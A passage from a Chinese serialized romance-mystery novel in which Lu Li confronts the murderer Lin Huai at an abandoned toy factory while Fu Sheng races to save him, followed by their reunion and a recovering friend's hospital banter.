周颂看得有些心疼他这个师弟,同时也对此也感到异常不解:“怎么会,无缘无故地陷入昏迷?” 林淮却看着床上的人,他的眼睛看着傅生的手指,半晌,他才开口说:“看样子,应该是被什么困住了。” “什么困住?”周颂不懂。 林淮垂了一下眸子:“童年阴影,原生家庭,或者经受过很深的心理创伤,这些都有可能。” 周颂愣了一下。 傅生无论是谈吐还是性格,都不像经历过这些的人。 林淮说:“并不是所有人都有一个好的人生。” 陆离听着林淮的话,眼睛熬得通红, 想起傅生的过往,他感觉心尖都泛着疼。 他握紧了傅生的指尖,像是在酸水里泡着,半晌才难过地说:“哥,你要留我一个人吗?” 可床上的人紧闭着眼不理他。 周颂看着陆离,他平时总是肩背挺得笔直,这会儿却像是什么压弯了。 哎。 长长的叹了一口气,周颂看向林淮说:“咱们出去吧,让他们自己待一会儿。明天再来,看看转去哪家医院。” 他们对于傅生明天能醒不抱任何希望,毕竟七天了,昏迷了七天,一点病症都没有。 想要突然醒了过来很难,非常难。 房间里又陷进去了安静,没有开灯,只有仪器上亮着微弱的灯光。 陆离抵在傅生的手上,酸胀的液体从他的眼眶流了下去。 他知道这个世界对傅生太残忍了,经历了一次还不够,又让他眼睁睁地看着经历第二次。 “别不要我。”陆离声音痛楚。 他趴在床边,不知道过了多久, 他感觉手下的人突然动了一下。 陆离怔了一下,快速看了过去。 傅生眼睛睁开了,长长的睫毛半垂着,浅淡的眸光虚虚的落在一点上。 他虚抬了一下手,想要擦去陆离脸上的泪,可因为眼前模糊,怎么也摸不到实处。 “别哭,”傅生格外沙哑,“没不要你。” 他怎么舍得留陆离一个人。 傅生倏然晕倒,又倏然醒了,医生对此却感到稀奇。 他们看着傅生,围成一圈,像是围观国宝一样地问:“冒昧地问一下?这七天有什么感觉?外界的声音能听见吗?” 傅生披着衣服坐在床上,丝毫没有不自在,很是客气地说:“大概就是睡了一觉?冬眠? 医生对此给不出医学上的解释,只能看着人道:“在医院再观察两天,如果没事就可以出院了。” 傅生点头表示自己知道了,医生走后,他扶了一下衣服,掀开被子刚想下床。 结果陆离在旁边盯着他。 自从他醒来之后,陆离对他的一举一动格外上心,什么都要亲力亲为。 “我就喝口水。”他有些好笑地说。 陆离将水杯递到他手上。 傅生叹了一口气,就着陆离的手喝了一口说:“我真没事了,不用这么紧张。” 陆离看着傅生的脸色,比之前惨白的样子好上很多。 但那种失去傅生的心悸感让一想起来,就格外难受,他抿了一下唇说:“你想要什么给我说。” 傅生叹了一口气,知道陆离被自己吓到了,他有些无奈地说:“我去看看蒋文总行了吧。” 昨天,蒋文已经从重症监护室,不过人还没有醒。 陆离盯着他看了几秒,一言不发的出门,半晌推了个轮椅出来。 傅生看着轮椅,顿时有些哭笑不得。 他向来行事讲究,真的不想坐在这么丑的轮椅。 陆离一眼看透了他的心思,冷着声说:“抱着去还是坐轮椅,选一个。” 傅生:“……” 他突然有种自己被陆离拿捏得死死的感觉。 最终傅老板还是乖乖地坐上了轮椅。 毕竟大庭广众之下被抱着出去更丢人。 蒋文的病床离着他不远,陆离平时就往返在他的病房和蒋文的病房之间。 有时候周颂不忙,也会来帮忙看护一会。 傅生坐在轮椅上被陆离推着,一进门就看到蒋文身上插的各种仪器,他的眼睛极轻地眨了一下。 陆离开口:“医生说,醒过来只是时间问题。” 傅生点了点头,在房间里坐了一会,拍了拍陆离的手说:“走吧。” * 傅生身上没有太大的问题,第三天就办了出院。 周颂事务所的事情还没有查完,他将这次的事汇报给了学校,学校提出提前终止了这次的项目。 他们刚开始以为就是简单的医疗纠纷,没有想到能牵扯那么深。 学生万一出了问题,他们负不了这么大的责任。 陆离对学校的这次的提议提出了反驳。 导师看着他:“之前我不知道这么危险,你确定还要继续?” 陆离点了点头:“嗯。” 既然无论怎么做都没办法躲开原本的轨迹,那干脆直接顺着迎面而上。 导师叹了一口气,他知道陆离的性子,又倔又执拗,半晌他说:“行,我去跟学校商议。” 陆离低声说了句谢谢。 “我对你只有一个要求,”出门之前,导师严肃地看向他说:“无论怎么样都先保证自己的安全。” “不害怕吗?”周颂问他。 他原本以为学校提出提前终止这个项目之后,陆离不会再来了。 陆离垂着眸子没说话,他在想傅生上一世经历这些事的时候在想什么。如果知道自己最后的结局,他会不会继续做? 答案是会。 “现在是去哪里?”陆离收了目光。 周颂:“毛吉之前工作的地方。” 对于这个人,陆离有印象,他在被害者名单里,失踪的时间是半年前。 毛吉,年龄十九,非南宁本地人,初中学历,失踪之前在一家火锅店做服务员。 陆离跟着周颂进了火锅店,给经理说明了来意,经理很快对着后台喊了一声:“小黑。来,来一下。” 一个皮肤黝黑,个子不高,但是看着格外机灵的男生从后面窜了出来,他唇上挂着一点不知道吃什么遗留的碎屑。 “又偷吃客人剩下的东西,”经理在他脑袋上拍了一下,转身对着周颂他们说,“毛吉不爱说话,就和这个小子待的时间最长。” 周颂看着人笑了一下:“你和毛吉是什么关系?朋友吗?” 小黑擦了一下嘴:“朋友算不上,他天天闷着不说话,我们顶多算是室友。” “室友,”周颂又说,“那他失踪之前有什么不对劲的地方吗?” “不对劲?”小黑撇了一下嘴,“他这个人本来就不对劲,在宿舍也不打游戏,天天抱着个破书看,别人喊他出去玩也不去。” 陆离低着声音:“什么书?” “就那些文学书,散文啊,诗集,挺多的。” 周颂说:“他失踪那天,没说去干什么吗?” 小黑想了想:“他说谎给经理说是看病,其实是偷偷听,什么来着?。” 周颂:“听什么?” 毕竟过去一年了,小黑有些想不起来了,他颦着眉,对着两个人快速地说了句等等,便一溜烟地跑了出去。 大概五分钟又满头汗的跑了回来。 他手上拿着一叠纸飞机,一个个地将纸飞机拆开,“我有个毛病,喜欢收集这些发的传单然后叠成飞机。” 陆离也蹲下身,将那些纸飞机一张一张地展开,三个人足足拆了半小时,小黑急得满头大汗:“怎么没有,我急得他当时还给我看来着。” 周颂说:“不急,慢慢找。” 此时地上已经没有几架纸飞机了。 就在周颂想要放弃的时候,小黑倏然愣了一下,接着他快速地拆开,激动地看着两个人道:“就是这张,一个心理学讲座。” 周颂将那张纸拿了过去,看到主讲人那一栏:丁慧娟。 上次遇到的女生也说过有一个公益性质心理学讲座。 陆离看着宣传栏上的人,眼睛眯了一下。 周颂也品出了不对劲,他看着这个人的名字,沉着声说:“这位讲课的心理师,是咱们学校出了名的心理学教授。” 陆离在手机上搜了一下她下一场讲座的时间,就在明天,地点是——花间一条街。 丁慧娟所有的讲座几乎都是公益性的,重点是帮助一些人认识到除了生理性疾病,还有心理性疾病也逐渐成为人类疾病中的常见症状。 “小淮啊,每次讲座,你都来帮我,老师都过意不去了。” 丁慧娟讲完课之后,将用的东西收起来,看着自己得意的门生,由衷地感慨真是个好学生。 林淮家庭富裕,作为典型的富二代,非但没有富家子弟该有的毛病,相反认学又肯吃苦。 最主要的是,对老师格外敬重,就算耽误自己的时间,也每次都要来帮忙。 “老师你说哪里话,”林淮帮忙收拾着会场的垃圾,将东西都收拾完的时候,他不经意地提了一句,“老师,你之前有没有教过一个名叫傅生的学生?” “傅生?”丁慧娟皱了一下眉,“他也是我们学校的?” “应该不是吧,”林淮收回目光说,“我就是随便问问。” “那老师应该没教过,”丁慧娟说着,接了一个电话,匆匆地走出门对着林淮说,“小淮我有点事,你再帮我检查一下。” 林淮弯了一下眼睛:“老师你去吧。” 很快整个会议室安静下来,林淮听着周围的动静沉下脸,他在前边第一排座位上坐了一会,刚想起身的时候,后面响起来清晰脚步声。 林淮回头,看见陆离走了过来。 他先是愣了一下,又轻轻地推了一下眼镜,眼镜上的链条随着他的动作晃动了一下:“陆离?” 陆离坐在他旁边:“我来做心理咨询。” 林淮笑了一下:“讲座已经结束了,老师已经走了。” “嗯,”陆离看向他,“你不是还没走吗?” “你是来找我的?”林淮眼睛眯了一下,接着又露出个笑:“你怎么知道我在这?” 陆离侧首看了他一眼,没回答他的问题,只是冷着嗓音说:“催眠需要借助工具吗?” 林淮将眼镜拿下来,用手帕擦了擦镜片:“试试怎么样?” 林淮催眠不需要借助工具,甚至可以在别人没有察觉的时候就已经将人催眠,他看着陆离手指撑着额头,低着声音,蛊惑地开口:“陆离,你都知道了什么?” 陆离垂着眸子,动了动唇。 他话还没有说出口,身后传来一道声音打断了两个人。 “他什么都不知道。你不如问我?” 林淮蹙眉,向后看去,会场的灯后半部分没开,他看着黑暗中走出一个人来。 直到那个人完全从黑暗中走出来,他才说:“傅老板?” 傅生走过来,半靠在演讲席上,他半垂眼睛盯着自己手指,须臾才道:“其实我没有想过是你。” 也或许他想过,但是又被自己刻意地忽略了。 他已经失去了蒋文那个朋友,他潜意识不想相信唯一还剩的这个朋友,是想害他的凶手。 林淮没有明白他的意思,他也无暇顾及,压着眼睛阴恻恻地问:“你知道什么?” “想知道我知道什么?很简单,”傅生说话缓慢,像是在说一件很寻常的事,“明天七点,南滨海湾。” 他坠海出事是在南滨海湾。 现在也该给这件事做个了解了。 从开始的地方开始,到结束的地方结束。 一切都回到原点。 傅生的眼睛在陆离的侧脸上扫过,接着很轻地眨了一下。 明天以后,再也没有人能伤害他了。 …… 陆离从会议室睁开眼,四周已经空无一人。 手机在疯狂地震动,是周颂在给他打电话,他颦了一下眉,按下了接听键:“喂,师兄。” “你一直不接电话,吓死我了,”周颂喘着声说,“你去之前不是说让我二十分钟之后给你打电话吗,你再不接,我都要报警了。” 他伸手在自己的太阳穴揉了一下:“我没事。” 周颂:“没事就好,有什么发现吗?” 陆离:“明天再说,先挂了。” 陆离回到古董店的时候,傅生罕见地在给花浇水,听到陆离的动静,他抬了一下眼,“回来了?” 陆离嗯了一声,走过去帮傅生一起浇水。 傅生看着院子里的这些花,说:“蒋文不在这花都快干巴死了。” “等他醒了,让他补上。”陆离说。 傅生笑了一声:“他要是听见你说的这话,非得气得在病床上坐起来不可。” 陆离看着傅生地弯着的眼睛,愣了一下神,明明和他是同一个人,可却这么让自己心动。 心动到心甘情愿地把命送给对方。 他看了半晌,伸手倏然抱住人,像是把对方勒紧自己怀里。 “怎么了这是?”傅生由着人抱着,过了一会才开口问道。 “没什么。” 陆离在傅生脖颈间闷声说了一句。 傅生说:“那就别抱着了,我饿了。” 吃完饭已经是晚上八点多了,陆离端了杯果汁进了卧室,坐在一旁看着傅生喝下,才道:“以后要不要回北川?” 以后,万一他不在了,傅生在北川,最起码还有爱他的爷爷。 “嗯?”傅生有点困倦,却还是强撑着精神看向他,“怎么突然问这个?” 陆离没说话。 傅生有些睁不开眼,他从来没有这么困过。 这股困劲不太正常,他挣扎不出来。 迷糊中,他感觉陆离把他抱在怀里,然后在他耳边低着声音:“睡吧,明天就结束了。” 陆离听见了两个人的对话。 无论命运怎么反复。 他们都想要对方活着。 第0056章 第 56 章 ◎哥,这次还能带我回家吗◎ 他和林淮能成为朋友, 是后来的事。 林淮本来是一个富家子,那次被蒋文敲诈之后,再见到他的时候, 是在去往大学的临街上。 林淮是被人从让豪车上丢下来的。那模样不像是一个大少爷, 倒像是被随意丢弃的宠物。 一个管家模样的人, 将手上的手表摘下来, 接着丝毫没有情面地打在了林淮脸上。 “先生说, 你这次让他不高兴了,所以给你点教训,下次若是还犯,就不是打一顿这么简单了。他不保证你的同班同学,甚至你的导师, 以后会不会知道这件事。你应该也不想的吧” 他向来不喜欢不想管闲事,但是他看着林淮, 却像是看到了之前的自己。 带着人跑到隔壁街, 确定身后没有追的人,他才停下来。 “我没事。” 林淮看着眼前冷着脸和自己差不多大的同龄人给自己递了一个冰块,有些狼狈地转开头。 这次和上次见面, 林淮的姿态天差地别, 像是伪装被撕碎, 露出里面自卑怯弱地人来。 他的耐心有限,见人一直不接, 就将冰块扔在了林淮的书包上, 准备转身走的时候,身后的林淮倏然开口。 “那是我——爸爸的人, ”林淮说, “我做了点错事。” 他对于打人的是谁并没有多少兴趣, 对于为什么打人也没有多少兴趣。 林淮却拉住了他,眼睛带着哀求地说:“你不会说出去的吧?” 他斜睨一眼,转身要走。 林淮却死死地抓住人不放。 他皱眉,冷着声音说了一句:“放开。” 林淮放了手,头却低了下去:“我不想被知道人人羡慕的富家子吗,背地里其实活得这么卑微。” 他看了人半晌,最后留下一句:“我没这么闲。” 林淮愣了一下,看着他的眼睛。 那双眼睛里只有冷淡,却没有任何其他情绪。 林淮愣愣地说了声谢谢,那天之后,就隔三岔五来找他。 有时候是带着吃的,有时候是带着最新上市的游戏机,再后来,林淮看见他在看心理学的书籍,后来再来的时候,就成了大学的笔记。 他刚开始不爱理人,但是林淮却乐此不彼。 后来时间一长,他接受了林淮的存在,接受了这个朋友。 但是梦里的世界总是没有逻辑的。 上一秒他们明明还听着课,下一秒画面一转,那个一起听课学习记笔记的人,手上多了一把枪。 梦里的林淮红着眼睛,一脸疯狂地看着他:“为什么非要查,医院的事和你有什么关系?为什么非要是你!” 他看着癫狂的林淮,握紧了手指。 接着,“砰”的一声枪响。 车子失控坠入了南滨海湾。 海水开始翻腾,瞬间压进胸腔,窒息感瞬间淹没了他。 “砰砰砰” “叩叩叩” 傅生是被门口的敲门声吵醒的。 醒来的那一秒,他紧颦着眉,十几秒之后才缓过神来。 他的目光落在昨天陆离给他倒得那杯果汁杯上。 半晌才敛回目光,唇线紧抿,阴沉着脸下床去开门。 周颂站在门口,看着傅生的难看的脸色先是愣了一下,又有些紧张地开口:“是昨天晚上陆离发消息让我过来的。” 傅生看了一眼手机的时间,已经是早晨八点钟了。 他昨天和林淮约好的七点。 不用想也知道陆离昨天晚上做了什么。 他紧紧捏着手机,薄薄的眼皮沉甸甸地压在眼眶上,看上去表情很淡,却莫名地让周颂小幅度地后退了一步。 “你没事吧,傅老板?”周颂看着他试探地开口。 他不知道发生了什么事,但是看傅生的脸色,应该不是什么好事。 昨天陆离给他发消息说,早晨八点来敲门喊一下傅生,他问了一句怎么了。 那个寡言的师弟只是说:傅生大病初愈,他有些担心。 傅生确实是刚出医院出来,身子虚弱很正常,他当时也没有多想,随口应下了。 傅生手指紧捏着手机,手指骨结泛白,他知道陆离为什么让周颂这个时间来叫他。 他算好的安眠药的剂量,专门让他错过了出门见林淮的时间,还担心他出事,又让周颂来叫自己。 他什么都算到了。 林淮和他昨天的对话,分明被陆离听到了。 他刚开始学催眠的时候,就从来没有被林淮催眠成功过。 陆离又怎么可能会被林淮成功催眠。 “傅老板?你脸色怎么越来越差,”周颂说,“要不要去医院看看?” 傅生没回答,只是看向他:“周律师,可以去南滨海湾吗?劳驾。” 周颂啊了一声,不知道傅生怎么突然提出了要去南滨海湾,却还是说:“可以。上车吧。” 周颂开车稳,平时都很专注,今天却没忍住频频回头看傅生的脸上。 放在以前,按照傅生脾气早就表面客气的怼人了,今天他却看着傅生全程半垂着眸子,看着自己的手指,无意识的转动着自己手上的戒指。 表面上和平时没有什么两样,但是偶尔的时候,从他半垂落的眸光中,可以瞥到一点情绪。 周颂不知道怎么形容。 非要说话,介于生气和难过之间。 “那个,傅老板,”周颂小声地开口,“到了。” 傅生这才抬眸,快速地下了车,但周围一点声音都没有,静得可怕。 周颂将车停好,站在傅生身边,小声地问道:“陆离他——” 从昨天陆离突然给他发的消息,到今天傅生的表现,周颂差不多理清陆离背着傅生去干什么危险的事了。 而他们现在在查的是华盛医疗的案子。 周颂皱了一下眉,却见傅生已经掏出了手机,拨了一个号码出去。 号码只是几秒就通了,林淮刻意压低的,阴郁的声音从手机对面传了过来。 “谁?” “把陆离放了。”傅生没有丝毫寒暄,直接开门见山地开口。 对面的人愣了一下,须臾沉郁地笑了几声:“真是越来越有意思了,你怎么会有我这个号码?” 傅生再次重复了一遍:“将陆离放了,我告诉你为什么。” “放了他?”林淮最后成了咬牙切齿地说,“你们两个人怎么都这么讨厌,我谁也不放,等我处理完这个,马上就来处理你,哈哈哈。” 接着,手机对面传出来几道忙音。 再拨过去已经成了无人接听的状态。 傅生紧紧颦着眉。 周颂这会已经惊呆了,他不可置信地看向傅生,“刚才电话里的是林淮?” 那么疯的声音,竟然是林淮? 他又想起来了之前查到的失踪的几个人都和丁慧娟的心理演讲脱不开关系,而林淮又是丁慧娟的学生。 陆离早就想到了。 周颂瞬间不知道说什么了,他不知道林淮会对陆离做什么。 那个人听起来像是疯子。 “咱们现在去哪里?要不要报警?” 但傅生从不相信警察。 * 这里是一家废弃的玩具厂,没有人知道,地下还有一层是吃人的地方。 陆离虽然被绑着,脸上却还是一贯冷淡的表情。 周围好多水牢,生锈的铁笼子,还有被养得比人还大的藏獒犬, “说实话,还是挺想当你的朋友的,”林淮解开拴狗的绳子,蛇形的戒指被他不紧不慢地戴在手上,“但是你太爱多管闲事了。” 陆离看着他,眼底像是冬日的深井,里面全是寒意。 傅生直到离开那个世界,都没有怀疑过他。 可他呢。 他将傅生对他的信任践踏在脚下,他不配做傅生的朋友。 “为什么要害这么多人,”陆离阴沉着声音冷冷地开口。 林淮指了指隔壁水牢里的人,还有关在阴暗角落衣不蔽体的看不出面容的人:“你说这些?” 陆离看着他。 “你看看他们还是人吗?”林淮笑了一声,摸了摸自己手中的藏獒犬,“还不如我的一条狗。” 陆离觉得林淮已经疯了,他皱着眉问:“参加地下交易的都有谁?” “都有谁?那可多了去了,可能你平时见不到想不到的人,都来打听过呢。”林淮说,“非法交易怎么了,谁不想活着呢,这些下等人活着也是浪费,这么辛苦干什么,不如留给更需要他们的人。” “你凭什么替他们做决定?”陆离问他,“谁给你的权利给他们划分的等级?” “权利?”林淮像是没有耐心,他牵着狗上前,“我现在就给你说是谁给我的权利,我能让你被我的爱犬吃得连骨头都不剩,也能让你在水牢里为了一口吃地对我摇尾乞怜,你说谁给我的权利。” 陆离对他说的话置若罔闻,质问道:“卢正风呢?也是你杀的?” 林淮嘲讽地笑了一声:“这种头脑简单的人,只要稍微引导一下,就承受不住了,哪里需要我亲自动手。” 他说着一顿,又道:“哦,不仅是卢正风,还有董陶宁,这个小姑娘可费了我不少力气,没想到临死前,还给我惹下这么大的篓子。” 陆离虽然早有猜想,但是看到这句话,还是暗了眸子。 董陶宁笑着给他糖的画面似乎还在昨天。 他紧抿了一下唇,看着林淮,格外冰冷地开口:“高奇山和你是什么关系?” 刚才还隐隐带着得意的林淮在听到这个名字的时候瞬间顿住了。 他脸上的笑瞬间禁锢下来,似乎又回到了被高奇山用狗链子拴住,在院子里围着人满地爬的时候。 “别给我提他,”林淮声音倏然提高,“你给我闭嘴!” 陆离盯着他看了几秒,“十几年你明明有的是机会逃走,为什么心甘情愿做条狗?” 林淮在兜里掏出枪,黑漆漆的枪口像是黑洞对准陆离,他死盯着人:“我说了你闭嘴!我才不是狗,我才不是狗。” 陆离冷淡地看着人。 林淮原本是孤儿院的孤儿,六岁的时候被高奇山领养,他最听不得那个字,朝着陆离吼道:“我都说了,不要和我提他。” 他的手指按在扳机上,“你原本可以不死,但是你现在让我不开心了,所以——去死吧。” “砰”。 一声枪响。 地下室的藏獒犬开始狂吠,像是一场狂欢。 …… 周颂开着车前往废弃玩具厂的路上。 可能是气氛太压抑了,他寻了一个由头开口:“傅老板,你是怎么知道的他们的老巢在玩具工厂的?” 傅生半垂着眸光,捻了一下手中的戒指。 如果不是他上一世查到了那家玩具工厂,林淮也不会这么心急杀他。 如今南滨海湾没有任何打斗痕迹,林淮最有可能的,就是带着陆离去了那家废弃玩具厂。 废弃工厂在最西头,以前是大片的厂区,后来南宁经济中心南移,这些厂子就荒废了。 “能再快些吗?”傅生声音平静,只是喑哑的嗓音,却暴露了他的心焦。 周颂瞧了一下眼车速,现在已经超速,但他还是开到了最大。 他同样不想这个师弟出事。 只是,两个人刚下车停在厂子口,还没下车,一声枪响便从厂子下面穿了出来。 傅生向来从容,但是周颂看见他听到枪响的那一刻,看着他脚下一滞,差点摔在地上。 好在身边有一棵树。 傅生借着树才堪堪稳住了身形。 几名警察在听到车声时,在后面包抄过来,拿着枪很是戒备地赶过来:“什么人!” 周颂抓紧赶过来说:“我们是来找人的?”他快速地亮出自己的律师证件,给警察看。 警察这才放下了枪支,接着提着声音驱逐道:“这里面有人持枪,很危险,你们快离开。” “有人受伤?”周颂问。 警察:“刚死了人,还在清理现场。” 傅生眉心深颦,嘴唇瞬间失了血色,周颂脸色也不好看,但还是在旁边拍了两下:“别担心,陆离一定没有事。” 他刚说完,就看到警察抓着林淮走了出来,林淮手被背在身后,眼镜不知道去了哪里,只留下一双充血的眼睛,死死地盯向他们。 “死吧,”他倏然笑了一下,看着人说,“都死了才好。” 周颂瞬间心一跳。 刚才那声枪响,林淮若是没事,那么出事的就是—— 周颂不敢想下去了。 傅生垂着眼睛,盯着自己的指尖。 所以,还是逃不过上一世的命运是吗。 他突然生出一种,这个世界似乎也没有多大意思的感觉。 其实有很长一段时间,他对这个世界没有多大的真实感,是陆离的存在给了他真实。 若是连这点真实都没了,那他似乎也没有存在的必要。 傅生失神地转身,感觉四周好像都失去了颜色,周围有无边的黑暗向里延伸,似乎想要将他吞噬,先是手掌,再是手臂。 不过无所谓了。 傅生低着头想,由着自己沉浸黑暗,他听着周围的声音像是潮水一样快速地褪去,就在消弭殆尽时,身后一道冷调的嗓音倏然喊了他一声。 “傅生。” 傅生一愣,缓慢地转身。 陆离站在他身后,完好无损的站在他身后。 这一刻,周围的黑暗尽数褪去,阳光穿过树缝落在那张熟悉又冷淡的脸上,树影晃动间,像是和自己初见,又像是无数次和自己重逢。 傅生愣神半晌,倏然感觉眼眶有些温热,他涩声努力让声音听起来和平时一样:“没大没小的叫谁呢。” “坏人都抓住了,”陆离俯身一下子抱住眼前的人,“哥,这次我还能再跟你回家吗?” 傅生好半晌才说出声,一个字像是用光他所有的力气。 他说:“能。” 他死在最热烈的盛夏,却遭受万人唾骂,最后孤零零坠入深海。 好在如今,他在爱里复生,有了很多个明天。 【作者有话说】 正文大概还有两三章。我从来都估摸不准[闭嘴][闭嘴] 保证,剩下的全是甜甜。 第0057章 第 57 章 ◎整个世界,我最爱你。◎ 周颂很有眼力见, 留给两个人相处的时间,直到回去的时候,他觉得车上的氛围有点过分的压抑了, 没话找话地开口:“那枪声怎么回事, 怎么会有这么多警察?” 傅生自从上了车, 就一直沉着脸色, 他眼睛向下压着, 很显然对于这件事很生气。 很显然周颂没有注意到,还在说:“下次万不可这么莽撞了。” 陆离垂着眸子,对着他师兄抵着唇咳了一声,让他不要哪壶不开提哪壶。 但周颂的眼力见像是到期了,完全没注意他的意有所指, 反而很是担忧地问道:“怎么还咳嗽了,没有哪里受伤吧?” 陆离:“……” 他清凌凌地看向周颂, 最后实在没忍住:“师兄, 你能不能。” 闭嘴。 “嗯?能不能干什么?”周颂扶着方向盘说,“怎么不说了?” 周颂突然有所感应的从后视镜回头,看了看陆离, 又看了看身边沉着脸的傅生, 他瞬间回过味来。 “……” 完蛋, 好像半错事了。 但是他又不知道怎么补救,只能惺惺道: “我还是开车吧。” 陆离这才看向傅生。 傅生冷淡地笑了一声:“怎么不说了, 我也想听。” 陆离低头:“没什么好说的。” “怎么没有, ”傅生说,“你都敢给我下药了, 还有什么不能说?” 周颂尽量降低自己纯在感, 听到这句话愣了一下。 他就说陆离怎么会让他照看傅生, 现在才知道原来是下药了。 他偷偷地回头,给陆离伸了一个大拇指。 眼神表示,“师弟你太牛了。” 但是你哥生气了,后果看起来挺严重的。 傅生的脸色他都有点害怕。 陆离:“……” 周颂怕城门失火,殃及池鱼,一个油门快速地到了古董店的巷子口。 他摇下窗户,看着两个人说:“到地方了,不过我今天还有些事,就不进去了先走了。” 说完一溜烟地一加油门,瞬间消失在巷子口。 周颂离开之后,院子里就剩下两个人,陆离紧抿了一下唇。 傅生看着他,棕色的眸子像是有一层玻璃,清凌的映着他。 “那声枪响,是我打的,”陆离看着傅生的眼神,须臾才顶了一下脸腮说,“警察也早早地就在外面埋伏好了,我没让自己受伤。” 那颗子弹快一步崩林淮虎口的位置。 他在玩具厂里讲这么多只是为了拖延时间。 林淮多说一些就会多一些线索,多一些证据。 但是林淮太疯了,他向外牵着狗的时候,外面站在窗户上特警已经给他打了手势。 若是有危险,可以直接击毙。 陆离没打死人,只是打掉了他的枪。 傅生依旧看着他,沉声说:“这些计划,为什么不让我知道。” 他知道陆离抱着回不来的决心去的,只要一想到这个结果,他就忍不住地疼。 他声音比平时要低上几分,头一次意识到自己也会害怕。 因为有了牵挂的人。 陆离须臾才开口:“我不想你重蹈覆辙,困在过去。” 他希望这一世,傅生能有个好的结局。 傅生愣了一下,陆离黝黑的眼睛里全是他,他表情认真又执拗,那种从小的倔劲在此刻体现的淋漓尽致。 半晌,傅生叹了一口气。 他总是拿自己没办法。 最后连生气都在陆离的眼神中,化成了一团酸水,将他的情绪搅的揉成了粉碎。 片刻,他伸手抱住了陆离,在陆离的肩膀上闷声说:“下次——” 说出这两个字,他才恍然,好像没有下次了。 陆离接着傅生的话,埋下头:“以后不会了。” 他在废弃玩具厂出门的时候,看着傅生的身影,明明是阳光高照的刺眼,周围也都是人,他却像掉进黑暗,或者说把自己锁进了黑暗,孤独的与周围都格格不入。 那一刻,他知道自己做错了事。 他不该留傅生一个人。 他抱紧了怀中的人,又重复了一遍:“以后再也不会了。” 古董店的桂花树冒出了一点枝叶,冬天过去,有初春的风吹动树丫,傅生的手机在这时震动了一下。 傅生颦了一下眉,在陆离身上收回手,对着手机里的人道:“醒了?” 陆离垂着眸子看过去,傅生挂了电话快速地说:“蒋文醒了。” 医院里,蒋文半靠在病床上,看着两个人进来的时候,啧啧两声:“不是,你们看个病人连点水果都不知道带吗?” 一开口就是熟悉的味道。 傅生在蒋文嫌弃的语气中,眼睛终于弯了一下:“我买了你能吃?” 蒋文刚醒,一些身体机能还没有完全恢复,医院医嘱,他只能吃流食。 蒋文瞬间有些牙疼,但话头不能丢,看着傅生开口:“不能吃你就不买了?摆着桌子上我天天看着不行?” 傅生哼了一声:“那买水果的钱在你工资里扣?” “我才刚醒第一天你这个黑心老板就开始了是吧?陆离,你能不能管管你哥?” 陆离看着房间里的景象,嘴角弧度勾了一下,半晌才道:“管不了。” 蒋文气得差点在床上直接起来。 刚好来换药的护士进来看到这一幕:“18床,你注意点,伤口小心又裂开。” 蒋文呲牙裂嘴道:“裂不开,已经被气开了。” 周颂也得到了蒋文醒的消息,在这时进了门,他手里拿着果篮,看着人:“聊什么呢,这么高兴。” “看看,看看人家,”蒋文指着他手中水果说了好几次,最后虚心请教道,“周律师,你来得刚好,请问劳动法中对于这种黑心的老板有没有什么处罚的规定?” 周颂笑了。 房间里热热闹闹地围了一团。 傅生看着这一切,眉眼上带上了笑,又有片刻的走神,有时候日子太好了,总会让人生出一种不真实感…… 愣神间,有人抓住了他的指尖。 傅生侧首,陆离站在他身边。 他人是冷的,手掌却是热的,温度源源不断在他指尖传递过来。 傅生弯了一下眼睛,握住了那双手。 蒋文的伤口恢复得很快,只用了一周就差不多出院了。 傅老爷子听说了这件事之后,非要从北川赶过来,他年纪大了,身子骨经不起折腾,傅生很是无奈地说:“您别来了,我带着人回去。” 傅老爷子这才作罢,没忍住又嘱托道:“那你们注意安全。” 傅生嗯了一声,“一定安安全全的到。” 蒋文玩得好吃得好,无聊了还可以去周颂的事务所里听八卦。 他听到电话说说:“我就不回了,你们两个回去吧,记得帮我给傅老爷子问好。” 傅生看着他胸口的伤口刚好,既不适合坐飞机,也不适合长途跋涉,傅生也没有坚持,只和陆离坐飞机回去。 傅老爷子早早地就在机场等着了,看到之后,抓着人上上下下打量了好几遍才放心。 “你们两个没事吧?”傅老爷子皱着眉,“怎么遇到这事,小蒋呢,他还好吧?” 然后他目光又落在陆离身上,嘴角也绷直:“小陆也是,你怎么能自己去这么危险的地方,这要是出点意外怎么办。” “周围有警察。”陆离低着声开口。 “有谁也不行啊,”傅老样子一改平时慈祥的样子,有些严肃道,“你还拿枪,那东西多危险,以后了别拿了。” 陆离头一次被家长这样呵斥,不知道该说什么,只能嗯了一声。 “只嗯不行,这样你跟你哥写个保证书,以后离那些枪支弹药远点。” 陆离:“……” 他清楚地感觉到周围的人都聚在他身上,然后又不动声色向外撤了一圈,估计是把他当成了危险分子。 傅生看得好笑,最后有些无奈看着老爷子,“要不回家说?” “回家?”傅老爷子这才意思道他们还在外面,“那先回家,回家再说这些。” 他们这次离开的时间长,傅老爷子又不会表达,每天找借口从老宅子向古董店这边跑。 傅生也不说破。 就像今天,他又提了一个鹦鹉笼子过来,里面是他刚买的鹦鹉。 “小陆,”老爷子说,“你能不能帮我看看,这个鹦鹉怎么不会说话?” 陆离走过去,看着笼子中关了一只绿毛红嘴的鹦鹉,他凑过去,鹦鹉就滴溜着眼睛看他。 他动一下,鹦鹉跟着他转一圈。 它似乎不会转头,一动就是整个身子跟着转。 可能是个傻的。 陆离心说,不过他怕老爷子伤心,委婉了一下语气:“可能是还没有驯化。” 这样啊,老爷子皱了眉:“我也不会驯,那该怎么办?” 傅生在一旁看着,眼睛里带着笑意。 老爷子的心思简直是昭然若揭。 若是把鹦鹉放这里,他每天就有来的理由了。 陆离显然也看出来了,开口说:“我可以试试。” “那真是太好了,”老爷子生怕陆离反悔似的,一下子将笼子塞进了陆离手里,转身就走,“那我老头子就等着了。” 陆离:“” 老爷子走后,傅生在旁边看得直笑,“你自己话都这么少,好教鹦鹉,不会教出一个小哑巴出来吧,以后你们一人一鸟正好——” 只是话还没有说完,傅老板的唇就被某个话少的人堵住了。 他觉得陆离最近像是开了什么窍,他隐隐有些招架不住,好在电话及时响了几声,他手指指了指陆离的胸口,示意他接电话,这才有了一点喘息的机会。 电话是蒋文打来的。 傅生刚想问他怎么了,蒋文就道:“林淮自杀了。” 傅生愣了一下,眉心下意识颦起:“自杀?” “不过没死成,”蒋文说,“他逃出去在医院杀了高奇山,想要自杀的时候,被警察发现了。” 傅生手指蜷缩,“为什么杀他?” 林淮从来没有提过自己的家庭,他也不知道他竟然是高奇山的养子。 